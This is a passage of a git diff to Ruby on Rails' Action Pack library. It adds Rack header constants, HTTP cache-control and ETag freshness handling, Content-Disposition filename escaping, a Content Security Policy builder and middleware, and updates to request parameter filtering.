+    autoload :MemCacheStore,       "action_dispatch/middleware/session/mem_cache_store"
+    autoload :CacheStore,          "action_dispatch/middleware/session/cache_store"
+
+    def self.resolve_store(session_store) # :nodoc:
+      self.const_get(session_store.to_s.camelize)
+    rescue NameError
+      raise <<~ERROR
+        Unable to resolve session store #{session_store.inspect}.
+
+        #{session_store.inspect} resolves to ActionDispatch::Session::#{session_store.to_s.camelize},
+        but that class is undefined.
+
+        Is #{session_store.inspect} spelled correctly, and are any necessary gems installed?
+      ERROR
+    end
   end
 
   mattr_accessor :test_app
@@ -97,11 +135,27 @@ module Session
     autoload :TestResponse
     autoload :AssertionResponse
   end
+
+  autoload :SystemTestCase, "action_dispatch/system_test_case"
+
+  ##
+  # :singleton-method:
+  #
+  # Specifies if the methods calling redirects in controllers and routes should
+  #  be logged below their relevant log lines. Defaults to false.
+  singleton_class.attr_accessor :verbose_redirect_logs
+  self.verbose_redirect_logs = false
+
+  def eager_load!
+    super
+    Routing.eager_load!
+  end
 end
 
 autoload :Mime, "action_dispatch/http/mime_type"
 
 ActiveSupport.on_load(:action_view) do
   ActionView::Base.default_formats ||= Mime::SET.symbols
-  ActionView::Template::Types.delegate_to Mime
+  ActionView::Template.mime_types_implementation = Mime
+  ActionView::LookupContext::DetailsKey.clear
 end
diff --git a/actionpack/lib/action_dispatch/constants.rb b/actionpack/lib/action_dispatch/constants.rb
new file mode 100644
index 0000000000000..325040400305e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/constants.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "rack/version"
+
+module ActionDispatch
+  module Constants
+    # Response Header keys for Rack 2.x and 3.x
+    if Gem::Version.new(Rack::RELEASE) < Gem::Version.new("3")
+      VARY = "Vary"
+      CONTENT_ENCODING = "Content-Encoding"
+      CONTENT_SECURITY_POLICY = "Content-Security-Policy"
+      CONTENT_SECURITY_POLICY_REPORT_ONLY = "Content-Security-Policy-Report-Only"
+      LOCATION = "Location"
+      FEATURE_POLICY = "Feature-Policy"
+      X_REQUEST_ID = "X-Request-Id"
+      X_CASCADE = "X-Cascade"
+      SERVER_TIMING = "Server-Timing"
+      STRICT_TRANSPORT_SECURITY = "Strict-Transport-Security"
+    else
+      VARY = "vary"
+      CONTENT_ENCODING = "content-encoding"
+      CONTENT_SECURITY_POLICY = "content-security-policy"
+      CONTENT_SECURITY_POLICY_REPORT_ONLY = "content-security-policy-report-only"
+      LOCATION = "location"
+      FEATURE_POLICY = "feature-policy"
+      X_REQUEST_ID = "x-request-id"
+      X_CASCADE = "x-cascade"
+      SERVER_TIMING = "server-timing"
+      STRICT_TRANSPORT_SECURITY = "strict-transport-security"
+    end
+
+    if Gem::Version.new(Rack::RELEASE) < Gem::Version.new("3.1")
+      UNPROCESSABLE_CONTENT = :unprocessable_entity
+    else
+      UNPROCESSABLE_CONTENT = :unprocessable_content
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/deprecator.rb b/actionpack/lib/action_dispatch/deprecator.rb
new file mode 100644
index 0000000000000..453ad29463565
--- /dev/null
+++ b/actionpack/lib/action_dispatch/deprecator.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionDispatch
+  def self.deprecator # :nodoc:
+    @deprecator ||= ActiveSupport::Deprecation.new
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/cache.rb b/actionpack/lib/action_dispatch/http/cache.rb
index 985e0fb97215b..1486309d85edd 100644
--- a/actionpack/lib/action_dispatch/http/cache.rb
+++ b/actionpack/lib/action_dispatch/http/cache.rb
@@ -1,9 +1,15 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module ActionDispatch
   module Http
     module Cache
       module Request
-        HTTP_IF_MODIFIED_SINCE = "HTTP_IF_MODIFIED_SINCE".freeze
-        HTTP_IF_NONE_MATCH     = "HTTP_IF_NONE_MATCH".freeze
+        HTTP_IF_MODIFIED_SINCE = "HTTP_IF_MODIFIED_SINCE"
+        HTTP_IF_NONE_MATCH     = "HTTP_IF_NONE_MATCH"
+
+        mattr_accessor :strict_freshness, default: false
 
         def if_modified_since
           if since = get_header(HTTP_IF_MODIFIED_SINCE)
@@ -16,7 +22,7 @@ def if_none_match
         end
 
         def if_none_match_etags
-          if_none_match ? if_none_match.split(/\s*,\s*/) : []
+          if_none_match ? if_none_match.split(",").each(&:strip!) : []
         end
 
         def not_modified?(modified_at)
@@ -30,19 +36,140 @@ def etag_matches?(etag)
           end
         end
 
-        # Check response freshness (Last-Modified and ETag) against request
-        # If-Modified-Since and If-None-Match conditions. If both headers are
-        # supplied, both must match, or the request is not considered fresh.
+        # Check response freshness (`Last-Modified` and `ETag`) against request
+        # `If-Modified-Since` and `If-None-Match` conditions.
+        # If both headers are supplied, based on configuration, either `ETag` is preferred over `Last-Modified`
+        # or both are considered equally. You can adjust the preference with
+        # `config.action_dispatch.strict_freshness`.
+        # Reference: http://tools.ietf.org/html/rfc7232#section-6
         def fresh?(response)
-          last_modified = if_modified_since
-          etag          = if_none_match
+          if Request.strict_freshness
+            if if_none_match
+              etag_matches?(response.etag)
+            elsif if_modified_since
+              not_modified?(response.last_modified)
+            else
+              false
+            end
+          else
+            last_modified = if_modified_since
+            etag          = if_none_match
 
-          return false unless last_modified || etag
+            return false unless last_modified || etag
 
-          success = true
-          success &&= not_modified?(response.last_modified) if last_modified
-          success &&= etag_matches?(response.etag) if etag
-          success
+            success = true
+            success &&= not_modified?(response.last_modified) if last_modified
+            success &&= etag_matches?(response.etag) if etag
+            success
+          end
+        end
+
+        def cache_control_directives
+          @cache_control_directives ||= CacheControlDirectives.new(get_header("HTTP_CACHE_CONTROL"))
+        end
+
+        # Represents the HTTP Cache-Control header for requests,
+        # providing methods to access various cache control directives
+        # Reference: https://www.rfc-editor.org/rfc/rfc9111.html#name-request-directives
+        class CacheControlDirectives
+          def initialize(cache_control_header)
+            @only_if_cached = false
+            @no_cache = false
+            @no_store = false
+            @no_transform = false
+            @max_age = nil
+            @max_stale = nil
+            @min_fresh = nil
+            @stale_if_error = false
+            parse_directives(cache_control_header)
+          end
+
+          # Returns true if the only-if-cached directive is present.
+          # This directive indicates that the client only wishes to obtain a
+          # stored response. If a valid stored response is not available,
+          # the server should respond with a 504 (Gateway Timeout) status.
+          def only_if_cached?
+            @only_if_cached
+          end
+
+          # Returns true if the no-cache directive is present.
+          # This directive indicates that a cache must not use the response
+          # to satisfy subsequent requests without successful validation on the origin server.
+          def no_cache?
+            @no_cache
+          end
+
+          # Returns true if the no-store directive is present.
+          # This directive indicates that a cache must not store any part of the
+          # request or response.
+          def no_store?
+            @no_store
+          end
+
+          # Returns true if the no-transform directive is present.
+          # This directive indicates that a cache or proxy must not transform the payload.
+          def no_transform?
+            @no_transform
+          end
+
+          # Returns the value of the max-age directive.
+          # This directive indicates that the client is willing to accept a response
+          # whose age is no greater than the specified number of seconds.
+          attr_reader :max_age
+
+          # Returns the value of the max-stale directive.
+          # When max-stale is present with a value, returns that integer value.
+          # When max-stale is present without a value, returns true (unlimited staleness).
+          # When max-stale is not present, returns nil.
+          attr_reader :max_stale
+
+          # Returns true if max-stale directive is present (with or without a value)
+          def max_stale?
+            !@max_stale.nil?
+          end
+
+          # Returns true if max-stale directive is present without a value (unlimited staleness)
+          def max_stale_unlimited?
+            @max_stale == true
+          end
+
+          # Returns the value of the min-fresh directive.
+          # This directive indicates that the client is willing to accept a response
+          # whose freshness lifetime is no less than its current age plus the specified time in seconds.
+          attr_reader :min_fresh
+
+          # Returns the value of the stale-if-error directive.
+          # This directive indicates that the client is willing to accept a stale response
+          # if the check for a fresh one fails with an error for the specified number of seconds.
+          attr_reader :stale_if_error
+
+          private
+            def parse_directives(header_value)
+              return unless header_value
+
+              header_value.delete(" ").downcase.split(",").each do |directive|
+                name, value = directive.split("=", 2)
+
+                case name
+                when "max-age"
+                  @max_age = value.to_i
+                when "min-fresh"
+                  @min_fresh = value.to_i
+                when "stale-if-error"
+                  @stale_if_error = value.to_i
+                when "no-cache"
+                  @no_cache = true
+                when "no-store"
+                  @no_store = true
+                when "no-transform"
+                  @no_transform = true
+                when "only-if-cached"
+                  @only_if_cached = true
+                when "max-stale"
+                  @max_stale = value ? value.to_i : true
+                end
+              end
+            end
         end
       end
 
@@ -77,25 +204,24 @@ def date=(utc_time)
           set_header DATE, utc_time.httpdate
         end
 
-        # This method sets a weak ETag validator on the response so browsers
-        # and proxies may cache the response, keyed on the ETag. On subsequent
-        # requests, the If-None-Match header is set to the cached ETag. If it
-        # matches the current ETag, we can return a 304 Not Modified response
-        # with no body, letting the browser or proxy know that their cache is
-        # current. Big savings in request time and network bandwidth.
+        # This method sets a weak ETag validator on the response so browsers and proxies
+        # may cache the response, keyed on the ETag. On subsequent requests, the
+        # `If-None-Match` header is set to the cached ETag. If it matches the current
+        # ETag, we can return a `304 Not Modified` response with no body, letting the
+        # browser or proxy know that their cache is current. Big savings in request time
+        # and network bandwidth.
         #
-        # Weak ETags are considered to be semantically equivalent but not
-        # byte-for-byte identical. This is perfect for browser caching of HTML
-        # pages where we don't care about exact equality, just what the user
-        # is viewing.
+        # Weak ETags are considered to be semantically equivalent but not byte-for-byte
+        # identical. This is perfect for browser caching of HTML pages where we don't
+        # care about exact equality, just what the user is viewing.
         #
-        # Strong ETags are considered byte-for-byte identical. They allow a
-        # browser or proxy cache to support Range requests, useful for paging
-        # through a PDF file or scrubbing through a video. Some CDNs only
-        # support strong ETags and will ignore weak ETags entirely.
+        # Strong ETags are considered byte-for-byte identical. They allow a browser or
+        # proxy cache to support `Range` requests, useful for paging through a PDF file
+        # or scrubbing through a video. Some CDNs only support strong ETags and will
+        # ignore weak ETags entirely.
         #
-        # Weak ETags are what we almost always need, so they're the default.
-        # Check out `#strong_etag=` to provide a strong ETag validator.
+        # Weak ETags are what we almost always need, so they're the default. Check out
+        # #strong_etag= to provide a strong ETag validator.
         def etag=(weak_validators)
           self.weak_etag = weak_validators
         end
@@ -110,47 +236,45 @@ def strong_etag=(strong_validators)
 
         def etag?; etag; end
 
-        # True if an ETag is set and it's a weak validator (preceded with W/)
+        # True if an ETag is set, and it's a weak validator (preceded with `W/`).
         def weak_etag?
-          etag? && etag.starts_with?('W/"')
+          etag? && etag.start_with?('W/"')
         end
 
-        # True if an ETag is set and it isn't a weak validator (not preceded with W/)
+        # True if an ETag is set, and it isn't a weak validator (not preceded with
+        # `W/`).
         def strong_etag?
           etag? && !weak_etag?
         end
 
       private
-
-        DATE          = "Date".freeze
-        LAST_MODIFIED = "Last-Modified".freeze
-        SPECIAL_KEYS  = Set.new(%w[extras no-cache max-age public private must-revalidate])
+        DATE          = "Date"
+        LAST_MODIFIED = "Last-Modified"
+        SPECIAL_KEYS  = Set.new(%w[extras no-store no-cache max-age public private must-revalidate must-understand])
 
         def generate_weak_etag(validators)
           "W/#{generate_strong_etag(validators)}"
         end
 
         def generate_strong_etag(validators)
-          %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(validators))}")
+          %("#{ActiveSupport::Digest.hexdigest(ActiveSupport::Cache.expand_cache_key(validators))}")
         end
 
         def cache_control_segments
           if cache_control = _cache_control
             cache_control.delete(" ").split(",")
-          else
-            []
           end
         end
 
         def cache_control_headers
           cache_control = {}
 
-          cache_control_segments.each do |segment|
+          cache_control_segments&.each do |segment|
             directive, argument = segment.split("=", 2)
 
             if SPECIAL_KEYS.include? directive
-              key = directive.tr("-", "_")
-              cache_control[key.to_sym] = argument || true
+              directive.tr!("-", "_")
+              cache_control[directive.to_sym] = argument || true
             else
               cache_control[:extras] ||= []
               cache_control[:extras] << segment
@@ -164,49 +288,70 @@ def prepare_cache_control!
           @cache_control = cache_control_headers
         end
 
+        DEFAULT_CACHE_CONTROL = "max-age=0, private, must-revalidate"
+        NO_STORE              = "no-store"
+        NO_CACHE              = "no-cache"
+        PUBLIC                = "public"
+        PRIVATE               = "private"
+        MUST_REVALIDATE       = "must-revalidate"
+        IMMUTABLE             = "immutable"
+        MUST_UNDERSTAND       = "must-understand"
+
         def handle_conditional_get!
-          if etag? || last_modified? || !@cache_control.empty?
-            set_conditional_cache_control!(@cache_control)
+          # Normally default cache control setting is handled by ETag middleware. But, if
+          # an etag is already set, the middleware defaults to `no-cache` unless a default
+          # `Cache-Control` value is previously set. So, set a default one here.
+          if (etag? || last_modified?) && !self._cache_control
+            self._cache_control = DEFAULT_CACHE_CONTROL
           end
         end
 
-        DEFAULT_CACHE_CONTROL = "max-age=0, private, must-revalidate".freeze
-        NO_CACHE              = "no-cache".freeze
-        PUBLIC                = "public".freeze
-        PRIVATE               = "private".freeze
-        MUST_REVALIDATE       = "must-revalidate".freeze
+        def merge_and_normalize_cache_control!(cache_control)
+          control = cache_control_headers
+
+          return if control.empty? && cache_control.empty?  # Let middleware handle default behavior
+
+          if cache_control.any?
+            # Any caching directive coming from a controller overrides no-cache/no-store in
+            # the default Cache-Control header.
+            control.delete(:no_cache)
+            control.delete(:no_store)
+
+            if extras = control.delete(:extras)
+              cache_control[:extras] ||= []
+              cache_control[:extras] += extras
+              cache_control[:extras].uniq!
+            end
 
-        def set_conditional_cache_control!(cache_control)
-          control = {}
-          cc_headers = cache_control_headers
-          if extras = cc_headers.delete(:extras)
-            cache_control[:extras] ||= []
-            cache_control[:extras] += extras
-            cache_control[:extras].uniq!
+            control.merge! cache_control
           end
 
-          control.merge! cc_headers
-          control.merge! cache_control
+          options = []
 
-          if control.empty?
-            self._cache_control = DEFAULT_CACHE_CONTROL
+          if control[:no_store]
+            options << PRIVATE if control[:private]
+            options << MUST_UNDERSTAND if control[:must_understand]
+            options << NO_STORE
           elsif control[:no_cache]
-            self._cache_control = NO_CACHE
-            if control[:extras]
-              self._cache_control = _cache_control + ", #{control[:extras].join(', ')}"
-            end
+            options << PUBLIC if control[:public]
+            options << NO_CACHE
+            options.concat(control[:extras]) if control[:extras]
           else
-            extras  = control[:extras]
+            extras = control[:extras]
             max_age = control[:max_age]
+            stale_while_revalidate = control[:stale_while_revalidate]
+            stale_if_error = control[:stale_if_error]
 
-            options = []
             options << "max-age=#{max_age.to_i}" if max_age
             options << (control[:public] ? PUBLIC : PRIVATE)
             options << MUST_REVALIDATE if control[:must_revalidate]
+            options << "stale-while-revalidate=#{stale_while_revalidate.to_i}" if stale_while_revalidate
+            options << "stale-if-error=#{stale_if_error.to_i}" if stale_if_error
+            options << IMMUTABLE if control[:immutable]
             options.concat(extras) if extras
-
-            self._cache_control = options.join(", ")
           end
+
+          self._cache_control = options.join(", ")
         end
       end
     end
diff --git a/actionpack/lib/action_dispatch/http/content_disposition.rb b/actionpack/lib/action_dispatch/http/content_disposition.rb
new file mode 100644
index 0000000000000..da5ce42b55977
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/content_disposition.rb
@@ -0,0 +1,47 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module ActionDispatch
+  module Http
+    class ContentDisposition # :nodoc:
+      def self.format(disposition:, filename:)
+        new(disposition: disposition, filename: filename).to_s
+      end
+
+      attr_reader :disposition, :filename
+
+      def initialize(disposition:, filename:)
+        @disposition = disposition
+        @filename = filename
+      end
+
+      TRADITIONAL_ESCAPED_CHAR = /[^ A-Za-z0-9!\#$+.^_`|~-]/
+
+      def ascii_filename
+        'filename="' + percent_escape(I18n.transliterate(filename), TRADITIONAL_ESCAPED_CHAR) + '"'
+      end
+
+      RFC_5987_ESCAPED_CHAR = /[^A-Za-z0-9!\#$&+.^_`|~-]/
+
+      def utf8_filename
+        "filename*=UTF-8''" + percent_escape(filename, RFC_5987_ESCAPED_CHAR)
+      end
+
+      def to_s
+        if filename
+          "#{disposition}; #{ascii_filename}; #{utf8_filename}"
+        else
+          "#{disposition}"
+        end
+      end
+
+      private
+        def percent_escape(string, pattern)
+          string.gsub(pattern) do |char|
+            char.bytes.map { |byte| "%%%02X" % byte }.join
+          end
+        end
+    end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/content_security_policy.rb b/actionpack/lib/action_dispatch/http/content_security_policy.rb
new file mode 100644
index 0000000000000..2c21ff9a4120f
--- /dev/null
+++ b/actionpack/lib/action_dispatch/http/content_security_policy.rb
@@ -0,0 +1,390 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/object/deep_dup"
+require "active_support/core_ext/array/wrap"
+
+module ActionDispatch # :nodoc:
+  # # Action Dispatch Content Security Policy
+  #
+  # Configures the HTTP [Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy)
+  # response header to help protect against XSS and
+  # injection attacks.
+  #
+  # Example global policy:
+  #
+  #     Rails.application.config.content_security_policy do |policy|
+  #       policy.default_src :self, :https
+  #       policy.font_src    :self, :https, :data
+  #       policy.img_src     :self, :https, :data
+  #       policy.object_src  :none
+  #       policy.script_src  :self, :https
+  #       policy.style_src   :self, :https
+  #
+  #       # Specify URI for violation reports
+  #       policy.report_uri "/csp-violation-report-endpoint"
+  #     end
+  class ContentSecurityPolicy
+    class InvalidDirectiveError < StandardError
+    end
+
+    class Middleware
+      def initialize(app)
+        @app = app
+      end
+
+      def call(env)
+        status, headers, _ = response = @app.call(env)
+
+        # Returning CSP headers with a 304 Not Modified is harmful, since nonces in the
+        # new CSP headers might not match nonces in the cached HTML.
+        return response if status == 304
+
+        return response if policy_present?(headers)
+
+        request = ActionDispatch::Request.new env
+
+        if policy = request.content_security_policy
+          nonce = request.content_security_policy_nonce
+          nonce_directives = request.content_security_policy_nonce_directives
+          context = request.controller_instance || request
+          headers[header_name(request)] = policy.build(context, nonce, nonce_directives)
+        end
+
+        response
+      end
+
+      private
+        def header_name(request)
+          if request.content_security_policy_report_only
+            ActionDispatch::Constants::CONTENT_SECURITY_POLICY_REPORT_ONLY
+          else
+            ActionDispatch::Constants::CONTENT_SECURITY_POLICY
+          end
+        end
+
+        def policy_present?(headers)
+          headers[ActionDispatch::Constants::CONTENT_SECURITY_POLICY] ||
+            headers[ActionDispatch::Constants::CONTENT_SECURITY_POLICY_REPORT_ONLY]
+        end
+    end
+
+    module Request
+      POLICY = "action_dispatch.content_security_policy"
+      POLICY_REPORT_ONLY = "action_dispatch.content_security_policy_report_only"
+      NONCE_GENERATOR = "action_dispatch.content_security_policy_nonce_generator"
+      NONCE = "action_dispatch.content_security_policy_nonce"
+      NONCE_DIRECTIVES = "action_dispatch.content_security_policy_nonce_directives"
+
+      def content_security_policy
+        get_header(POLICY)
+      end
+
+      def content_security_policy=(policy)
+        set_header(POLICY, policy)
+      end
+
+      def content_security_policy_report_only
+        get_header(POLICY_REPORT_ONLY)
+      end
+
+      def content_security_policy_report_only=(value)
+        set_header(POLICY_REPORT_ONLY, value)
+      end
+
+      def content_security_policy_nonce_generator
+        get_header(NONCE_GENERATOR)
+      end
+
+      def content_security_policy_nonce_generator=(generator)
+        set_header(NONCE_GENERATOR, generator)
+      end
+
+      def content_security_policy_nonce_directives
+        get_header(NONCE_DIRECTIVES)
+      end
+
+      def content_security_policy_nonce_directives=(generator)
+        set_header(NONCE_DIRECTIVES, generator)
+      end
+
+      def content_security_policy_nonce
+        if content_security_policy_nonce_generator
+          if nonce = get_header(NONCE)
+            nonce
+          else
+            set_header(NONCE, generate_content_security_policy_nonce)
+          end
+        end
+      end
+
+      private
+        def generate_content_security_policy_nonce
+          content_security_policy_nonce_generator.call(self)
+        end
+    end
+
+    MAPPINGS = {
+      self:             "'self'",
+      unsafe_eval:      "'unsafe-eval'",
+      wasm_unsafe_eval: "'wasm-unsafe-eval'",
+      unsafe_hashes:    "'unsafe-hashes'",
+      unsafe_inline:    "'unsafe-inline'",
+      none:             "'none'",
+      http:             "http:",
+      https:            "https:",
+      data:             "data:",
+      mediastream:      "mediastream:",
+      allow_duplicates: "'allow-duplicates'",
+      blob:             "blob:",
+      filesystem:       "filesystem:",
+      report_sample:    "'report-sample'",
+      script:           "'script'",
+      strict_dynamic:   "'strict-dynamic'",
+      ws:               "ws:",
+      wss:              "wss:"
+    }.freeze
+
+    DIRECTIVES = {
+      base_uri:                   "base-uri",
+      child_src:                  "child-src",
+      connect_src:                "connect-src",
+      default_src:                "default-src",
+      font_src:                   "font-src",
+      form_action:                "form-action",
+      frame_ancestors:            "frame-ancestors",
+      frame_src:                  "frame-src",
+      img_src:                    "img-src",
+      manifest_src:               "manifest-src",
+      media_src:                  "media-src",
+      object_src:                 "object-src",
+      prefetch_src:               "prefetch-src",
+      require_trusted_types_for:  "require-trusted-types-for",
+      script_src:                 "script-src",
+      script_src_attr:            "script-src-attr",
+      script_src_elem:            "script-src-elem",
+      style_src:                  "style-src",
+      style_src_attr:             "style-src-attr",
+      style_src_elem:             "style-src-elem",
+      trusted_types:              "trusted-types",
+      worker_src:                 "worker-src"
+    }.freeze
+
+    HASH_SOURCE_ALGORITHM_PREFIXES = ["sha256-", "sha384-", "sha512-"].freeze
+
+    DEFAULT_NONCE_DIRECTIVES = %w[script-src style-src].freeze
+
+    private_constant :MAPPINGS, :DIRECTIVES, :DEFAULT_NONCE_DIRECTIVES
+
+    attr_reader :directives
+
+    def initialize
+      @directives = {}
+      yield self if block_given?
+    end
+
+    def initialize_copy(other)
+      @directives = other.directives.deep_dup
+    end
+
+    DIRECTIVES.each do |name, directive|
+      define_method(name) do |*sources|
+        if sources.first
+          @directives[directive] = apply_mappings(sources)
+        else
+          @directives.delete(directive)
+        end
+      end
+    end
+
+    # Specify whether to prevent the user agent from loading any assets over HTTP
+    # when the page uses HTTPS:
+    #
+    #     policy.block_all_mixed_content
+    #
+    # Pass `false` to allow it again:
+    #
+    #     policy.block_all_mixed_content false
+    #
+    def block_all_mixed_content(enabled = true)
+      if enabled
+        @directives["block-all-mixed-content"] = true
+      else
+        @directives.delete("block-all-mixed-content")
+      end
+    end
+
+    # Restricts the set of plugins that can be embedded:
+    #
+    #     policy.plugin_types "application/x-shockwave-flash"
+    #
+    # Leave empty to allow all plugins:
+    #
+    #     policy.plugin_types
+    #
+    def plugin_types(*types)
+      if types.first
+        @directives["plugin-types"] = types
+      else
+        @directives.delete("plugin-types")
+      end
+    end
+
+    # Enable the [report-uri](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri)
+    # directive. Violation reports will be sent to the
+    # specified URI:
+    #
+    #     policy.report_uri "/csp-violation-report-endpoint"
+    #
+    def report_uri(uri)
+      @directives["report-uri"] = [uri]
+    end
+
+    # Specify asset types for which [Subresource Integrity](https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity) is required:
+    #
+    #     policy.require_sri_for :script, :style
+    #
+    # Leave empty to not require Subresource Integrity:
+    #
+    #     policy.require_sri_for
+    #
+    def require_sri_for(*types)
+      if types.first
+        @directives["require-sri-for"] = types
+      else
+        @directives.delete("require-sri-for")
+      end
+    end
+
+    # Specify whether a [sandbox](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox)
+    # should be enabled for the requested resource:
+    #
+    #     policy.sandbox
+    #
+    # Values can be passed as arguments:
+    #
+    #     policy.sandbox "allow-scripts", "allow-modals"
+    #
+    # Pass `false` to disable the sandbox:
+    #
+    #     policy.sandbox false
+    #
+    def sandbox(*values)
+      if values.empty?
+        @directives["sandbox"] = true
+      elsif values.first
+        @directives["sandbox"] = values
+      else
+        @directives.delete("sandbox")
+      end
+    end
+
+    # Specify whether user agents should treat any assets over HTTP as HTTPS:
+    #
+    #     policy.upgrade_insecure_requests
+    #
+    # Pass `false` to disable it:
+    #
+    #     policy.upgrade_insecure_requests false
+    #
+    def upgrade_insecure_requests(enabled = true)
+      if enabled
+        @directives["upgrade-insecure-requests"] = true
+      else
+        @directives.delete("upgrade-insecure-requests")
+      end
+    end
+
+    def build(context = nil, nonce = nil, nonce_directives = nil)
+      nonce_directives = DEFAULT_NONCE_DIRECTIVES if nonce_directives.nil?
+      build_directives(context, nonce, nonce_directives).compact.join("; ")
+    end
+
+    private
+      def apply_mappings(sources)
+        sources.map do |source|
+          case source
+          when Symbol
+            apply_mapping(source)
+          when String
+            if hash_source?(source)
+              "'#{source}'"
+            else
+              source
+            end
+          when Proc
+            source
+          else
+            raise ArgumentError, "Invalid content security policy source: #{source.inspect}"
+          end
+        end
+      end
+
+      def apply_mapping(source)
+        MAPPINGS.fetch(source) do
+          raise ArgumentError, "Unknown content security policy source mapping: #{source.inspect}"
+        end
+      end
+
+      def build_directives(context, nonce, nonce_directives)
+        @directives.map do |directive, sources|
+          if sources.is_a?(Array)
+            if nonce && nonce_directive?(directive, nonce_directives)
+              "#{directive} #{build_directive(directive, sources, context).join(' ')} 'nonce-#{nonce}'"
+            else
+              "#{directive} #{build_directive(directive, sources, context).join(' ')}"
+            end
+          elsif sources
+            directive
+          else
+            nil
+          end
+        end
+      end
+
+      def validate(directive, sources)
+        sources.flatten.each do |source|
+          if source.include?(";") || source != source.gsub(/[[:space:]]/, "")
+            raise InvalidDirectiveError, <<~MSG.squish
+              Invalid Content Security Policy #{directive}: "#{source}".
+              Directive values must not contain whitespace or semicolons.
+              Please use multiple arguments or other directive methods instead.
+            MSG
+          end
+        end
+      end
+
+      def build_directive(directive, sources, context)
+        resolved_sources = sources.map { |source| resolve_source(source, context) }
+
+        validate(directive, resolved_sources)
+      end
+
+      def resolve_source(source, context)
+        case source
+        when String
+          source
+        when Symbol
+          source.to_s
+        when Proc
+          if context.nil?
+            raise RuntimeError, "Missing context for the dynamic content security policy source: #{source.inspect}"
+          else
+            resolved = context.instance_exec(&source)
+            apply_mappings(Array.wrap(resolved))
+          end
+        else
+          raise RuntimeError, "Unexpected content security policy source: #{source.inspect}"
+        end
+      end
+
+      def nonce_directive?(directive, nonce_directives)
+        nonce_directives.include?(directive)
+      end
+
+      def hash_source?(source)
+        source.start_with?(*HASH_SOURCE_ALGORITHM_PREFIXES)
+      end
+  end
+end
diff --git a/actionpack/lib/action_dispatch/http/filter_parameters.rb b/actionpack/lib/action_dispatch/http/filter_parameters.rb
index e584b84d920ee..a79a4a923d1e3 100644
--- a/actionpack/lib/action_dispatch/http/filter_parameters.rb
+++ b/actionpack/lib/action_dispatch/http/filter_parameters.rb
@@ -1,44 +1,41 @@
-require "action_dispatch/http/parameter_filter"
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/parameter_filter"
 
 module ActionDispatch
   module Http
-    # Allows you to specify sensitive parameters which will be replaced from
-    # the request log by looking in the query string of the request and all
-    # sub-hashes of the params hash to filter. Filtering only certain sub-keys
-    # from a hash is possible by using the dot notation: 'credit_card.number'.
-    # If a block is given, each key and value of the params hash and all
-    # sub-hashes is passed to it, the value or key can be replaced using
-    # String#replace or similar method.
+    # # Action Dispatch HTTP Filter Parameters
     #
-    #   env["action_dispatch.parameter_filter"] = [:password]
-    #   => replaces the value to all keys matching /password/i with "[FILTERED]"
+    # Allows you to specify sensitive query string and POST parameters to filter
+    # from the request log.
     #
-    #   env["action_dispatch.parameter_filter"] = [:foo, "bar"]
-    #   => replaces the value to all keys matching /foo|bar/i with "[FILTERED]"
+    #     # Replaces values with "[FILTERED]" for keys that match /foo|bar/i.
+    #     env["action_dispatch.parameter_filter"] = [:foo, "bar"]
     #
-    #   env["action_dispatch.parameter_filter"] = [ "credit_card.code" ]
-    #   => replaces { credit_card: {code: "xxxx"} } with "[FILTERED]", does not
-    #   change { file: { code: "xxxx"} }
-    #
-    #   env["action_dispatch.parameter_filter"] = -> (k, v) do
-    #     v.reverse! if k =~ /secret/i
-    #   end
-    #   => reverses the value to all keys matching /secret/i
+    # For more information about filter behavior, see
+    # ActiveSupport::ParameterFilter.
     module FilterParameters
-      ENV_MATCH = [/RAW_POST_DATA/, "rack.request.form_vars"] # :nodoc:
-      NULL_PARAM_FILTER = ParameterFilter.new # :nodoc:
-      NULL_ENV_FILTER   = ParameterFilter.new ENV_MATCH # :nodoc:
+      # :stopdoc:
+      ENV_MATCH = [/RAW_POST_DATA/, "rack.request.form_vars"]
+      NULL_PARAM_FILTER = ActiveSupport::ParameterFilter.new
+      NULL_ENV_FILTER   = ActiveSupport::ParameterFilter.new ENV_MATCH
+      # :startdoc:
 
       def initialize
         super
         @filtered_parameters = nil
         @filtered_env        = nil
         @filtered_path       = nil
+        @parameter_filter    = nil
       end
 
       # Returns a hash of parameters with all sensitive data replaced.
       def filtered_parameters
         @filtered_parameters ||= parameter_filter.filter(parameters)
+      rescue ActionDispatch::Http::Parameters::ParseError
+        @filtered_parameters = {}
       end
 
       # Returns a hash of request.env with all sensitive data replaced.
@@ -46,19 +43,22 @@ def filtered_env
         @filtered_env ||= env_filter.filter(@env)
       end
 
-      # Reconstructed a path with all sensitive GET parameters replaced.
+      # Reconstructs a path with all sensitive GET parameters replaced.
       def filtered_path
         @filtered_path ||= query_string.empty? ? path : "#{path}?#{filtered_query_string}"
       end
 
-    private
-
-      def parameter_filter # :doc:
-        parameter_filter_for fetch_header("action_dispatch.parameter_filter") {
-          return NULL_PARAM_FILTER
-        }
+      # Returns the `ActiveSupport::ParameterFilter` object used to filter in this
+      # request.
+      def parameter_filter
+        @parameter_filter ||= if has_header?("action_dispatch.parameter_filter")
+          parameter_filter_for get_header("action_dispatch.parameter_filter")
+        else
+          NULL_PARAM_FILTER
+        end
       end
 
+    private
       def env_filter # :doc:
         user_key = fetch_header("action_dispatch.parameter_filter") {
           return NULL_ENV_FILTER
@@ -67,15 +67,20 @@ def env_filter # :doc:
       end
 
       def parameter_filter_for(filters) # :doc:
-        ParameterFilter.new(filters)
+        ActiveSupport::ParameterFilter.new(filters)
       end
 
-      KV_RE   = "[^&;=]+"
-      PAIR_RE = %r{(#{KV_RE})=(#{KV_RE})}
       def filtered_query_string # :doc:
